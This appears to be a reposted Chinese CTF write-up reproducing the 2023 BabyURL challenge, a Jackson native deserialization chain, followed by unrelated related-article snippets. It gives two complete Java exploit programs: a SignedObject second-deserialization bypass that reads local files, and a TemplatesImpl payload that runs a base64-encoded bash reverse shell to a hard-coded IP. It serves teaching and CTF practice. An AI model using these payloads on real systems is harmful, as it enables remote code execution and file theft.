【Web】记录巅峰极客2023 BabyURL题目复现——Jackson原生链

目录

前言

分析

EXP

SignedObject打二次反序列化

打TemplatesImpl加载恶意字节码

前文:【Web】浅聊Jackson序列化getter的利用——POJONode

前言

题目环境:2023巅峰极客 BabyURL

之前AliyunCTF Bypassit I这题考查了这样一条链子:

BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl

其实就是Jackson的原生反序列化利用

今天复现的这题也是大同小异,一起来整一下😋

分析

toString到getter的部分不作赘述,getter一般常见的用法分两种,打二次反序列化和打TemplatesImpl

结合具体题目去分析

先看pom依赖,就是给了一些spring依赖,众所周知,在 Spring Boot 中,通常自带jackson

再来看一下输入流,注意到ban了URLVistor和URLHelper两个classpath下的bean

URLHelper#readObject调用了URLVisiter#visitUrl,获取的结果写入/tmp/file文件

来看URLVisiter#vistUrl

visitUrl限制了URL不能以file开头,可以首字符用空格绕过,也可以用大写绕过FILE:/// ,从而绕过限制,读取靶机本地文件

给了三个路由,反序列化入口点在/hack处,然后可以在/file路由读取/tmp/file路由的内容并回显

那么思路就很清晰了,我们要先利用反序列化让URLVisiter去读flag,再写入/tmp/file

问题是MyObjectInputStream将URLHelper和URLVister给ban了,这点我们可以用SignedObject打二次反序列化来绕过

EXP

SignedObject打二次反序列化

package com.yancao.ctf.exp;import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;public class EXP {public static void main(String[] args) throws Exception {try {ClassPool pool = ClassPool.getDefault();CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");jsonNode.removeMethod(writeReplace);ClassLoader classLoader = Thread.currentThread().getContextClassLoader();jsonNode.toClass(classLoader, (ProtectionDomain)null);} catch (Exception var11) {}URLHelper urlHelper = new URLHelper(" file:///");URLVisiter urlVisiter = new URLVisiter();setFieldValue(urlHelper, "visiter", urlVisiter);KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");keyPairGenerator.initialize(1024);KeyPair keyPair = keyPairGenerator.genKeyPair();PrivateKey privateKey = keyPair.getPrivate();Signature signingEngine = Signature.getInstance("DSA");SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);POJONode jsonNodes = new POJONode(signedObject);BadAttributeValueExpException exp = new BadAttributeValueExpException(1);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(exp, jsonNodes);System.out.println(serial(exp));}public static String serial(Object o) throws IOException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}private static void setFieldValue(Object obj, String field, Object arg) throws Exception {Field f = obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}

打TemplatesImpl加载恶意字节码

这个就和AliyunCTF那题一样了,不需要依赖题目自定义的类,简单粗暴

package com.yancao.ctf.exp;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.ProtectionDomain;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception {try {ClassPool pool = ClassPool.getDefault();CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");jsonNode.removeMethod(writeReplace);ClassLoader classLoader = Thread.currentThread().getContextClassLoader();jsonNode.toClass(classLoader, (ProtectionDomain)null);} catch (Exception var11) {}byte[] code = getTemplates();//用javassist获取byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", codes);POJONode node = new POJONode(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);setFieldValue(val, "val", node);System.out.println(serial(val));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static byte[] getTemplates() throws Exception{ClassPool pool = ClassPool.getDefault();CtClass template = pool.makeClass("MyTemplate");template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}\");";template.makeClassInitializer().insertBefore(block);return template.toBytecode();}public static void setFieldValue(Object obj, String field, Object val) throws Exception{Field dField = obj.getClass().getDeclaredField(field);dField.setAccessible(true);dField.set(obj, val);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/763528.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通过rmi实现远程rpc(可以认为java自带Dubbo RPC)

背景: 发现公司几个运行10年的游戏,用的竟然是rmi,而我只听说过dubbo 和 基于netty的rpc,于是就补充了下rmi。 其次,是最近对于跨服的思考,如何避免回调也需要用同步写法,rmi比较适合。 1)api…

408学习笔记-16-C-动态内存管理

1、为什么要有动态内存分配 常规定义出来的变量,它们的大小都是已经规定好的,即在内存中开辟的内存空间都是固定的;且空间大小不可调整,可能会造成内存空间的浪费。 于是C语言引入了动态内存开辟功能,让程序员自己可…

IDEA/Android Studio格式化代码快捷键失效的解决

问题描述 用AS写一个项目的时候,发现CtrlAltL的格式化快捷键并不生效,按下之后没有任何反应。而格式化文件快捷键CtrlAltShiftL依旧生效,难道是设置出了问题? 打开设置页面发现快捷键设置很正确,并没问题&#xff0c…

综合能源系统多时间尺度优化调度研究综述

1.研究背景 随着全球能源需求的增长以及环境保护的压力,综合能源系统(IES)成为了实现能源可持续发展的关键方案之一。IES通过集成多种能源资源,优化能源的产、供、存、消过程,提高能源利用效率,减少环境污染…

「JS 基础」异步解决方案入门

前言 为了解决Javascript 语言的执行环境是单线程所带来的问题,Javascript 将任务的执行模式分为两种:同步和异步 同步即为后一个任务等待前一个任务结束再继续执行,程序的执行顺序与任务的排列顺序是一致的 异步则完全不同,每…

鸿蒙一次开发,多端部署(一)简介

背景 随着终端设备形态日益多样化,分布式技术逐渐打破单一硬件边界,一个应用或服务,可以在不同的硬件设备之间随意调用、互助共享,让用户享受无缝的全场景体验。而作为应用开发者,广泛的设备类型也能为应用带来广大的…

trinus 3d打印机安装调试到成功打印2-堵头处理挤出机喷头不出料

使用弹簧钢板而不是美文纸,由于这款打印机没有热床功能,所以为了加大附着需要将喷头距离设低一些,否则模型极容易打着中途脱落。 但是由于不能自动调平,而且不支持手动调整4个角的高度,在喷头距离设置不当的情况下&am…

面试题2.0

目录 css 动画 深拷贝和浅拷贝 ES6新特性 事件循环 vue-router原理 flex布局 session和local storage分别是用来干嘛的? http状态码 原型链 虚拟dom vuex的五个属性 vue路由跳转的四种方式 vue生命周期 link和import的区别 GET 与 POST 的区别 fle…

使用platformIO进行arduino,esp8266,esp32编程的性能改进和一些优化

目录 多环境配置 性能优化 多环境配置 平常的一些platformio的配置是这样的: [env:esp32dev] platform espressif32 board nodemcu-32s framework arduino monitor_speed 115200 upload_speed 921600 lib_deps ; painlessmesh/painlessMesh^1.5.0bodmer/TF…

python 实现把内层文件夹的文件,复制/剪切到外层文件夹

文章目录 如下图所示,收集了很多省市的文件,结果发现市一级的文件与区县一级的文件混在一起了。 接下来使用代码实现: 根据关键词识别出 市一级的文件;把市一级的文件,移动或者复制到省文件夹下;给出了py…

STM32-Flash闪存

简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分,通过闪存存储器接口(外设)可以对程序存储器和选项字节进行擦除和编程。 读写Flash的用途 1.利用程序存储器的剩余空间来保存掉电不丢失的用户数据。 2.通过在程序中…

2024 年 AI 辅助研发趋势将更加强调智能化、自动化和个性化

目录 前言 AI辅助研发的技术进展 行业应用案例 医药行业 汽车行业 电子行业 面临的挑战与机遇 技术挑战 伦理问题 数据安全 机遇和解决方案 未来趋势预测 1. 深度融合AI与研发流程 2. 智能研发平台的崛起 3. 强化AI与人类智慧的融合 前言 当谈到人工智能&#xff…

Oracle 写丢失保护/影子表空间(Lost Write Protection with Shadow Tablespace)

写丢失是Oracle数据库与独立I/O子系统交互时一种错误场景。假如Oracle发出的写磁盘命令,I/O子系统也返回成功写磁盘的消息(但数据此时可能依然在I/O系统缓存中),如果在I/O系统实际写盘之前Oracle再次读取该数据,则I/O系…

JavaScript 权威指南第七版(GPT 重译)(五)

第十二章:迭代器和生成器 可迭代对象及其相关的迭代器是 ES6 的一个特性,在本书中我们已经多次见到。数组(包括 TypedArrays)、字符串以及 Set 和 Map 对象都是可迭代的。这意味着这些数据结构的内容可以被迭代——使用for/of循环…

ARM中断实验

key_inc.c #include"key_inc.h"void key1_it_config(){//使能GPIOF外设时钟RCC->MP_AHB4ENSETR | (0x1<<5);//将PF9设置为输入模式GPIOF->MODER & (~(0x3<<18));//设置由PF9管脚产生EXTI9事件EXTI->EXTICR3 & (~(0XFF<<8));EXTI-…

jQuery 事件

文章目录 1. jQuery 事件注册单个事件注册 2. jQuery 事件处理2.1 on() 绑定事件(1) on() 方法优势1(2) on() 方法优势2(3) on() 方法优势3*案例--发布微博 2.2 off() 解绑事件2.3 one() 只触发事件一次2.4 自动触发事件 3. jQuery 事件对象 1. jQuery 事件注册 单个事件注册 …

【MySQL】MySQL用户管理

文章目录 一、用户1.用户信息2.创建用户3.删除用户4.修改用户密码 二、数据库的权限1.给用户授权2.回收权限 一、用户 如果我们只能使用root用户&#xff0c;这样存在安全隐患。这时&#xff0c;就需要使用MySQL的用户管理。 1.用户信息 我们安装mysql之后&#xff0c;会自动…

MySQL的进阶使用方法

【前言】 view 直接对某张表的操作&#xff0c;就是在对数据库系统的逻辑模型层的操作。但让所有用户都看到整个逻辑模型是不合适的。出于安全的考虑&#xff0c;如会隐藏某个属性。这时就需要这种‘虚表’&#xff0c;它向用户透露一部分的数据&#xff0c;它不属于逻辑模…

Cookie和Session登录注册案例

文章目录 一、需求说明![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/f29467ed6b7f4de7a568004ad50de591.png)二、用户登录1、Dao层代码2、Service层代码3、Web层代码 三、记住用户四、用户注册五、展示验证码 一、需求说明 二、用户登录 1、Dao层代码 UserMapp…

__builtin_choose_expr内置函数使用

__builtin_choose_expr 是 GCC 编译器的内置函数&#xff0c;它允许在编译时根据条件表达式的值选择两个表达式其中之一。其语法结构如下&#xff1a; __builtin_choose_expr(constant_expression, expression1, expression2) 这个内置函数根据第一个参数 constant_expressio…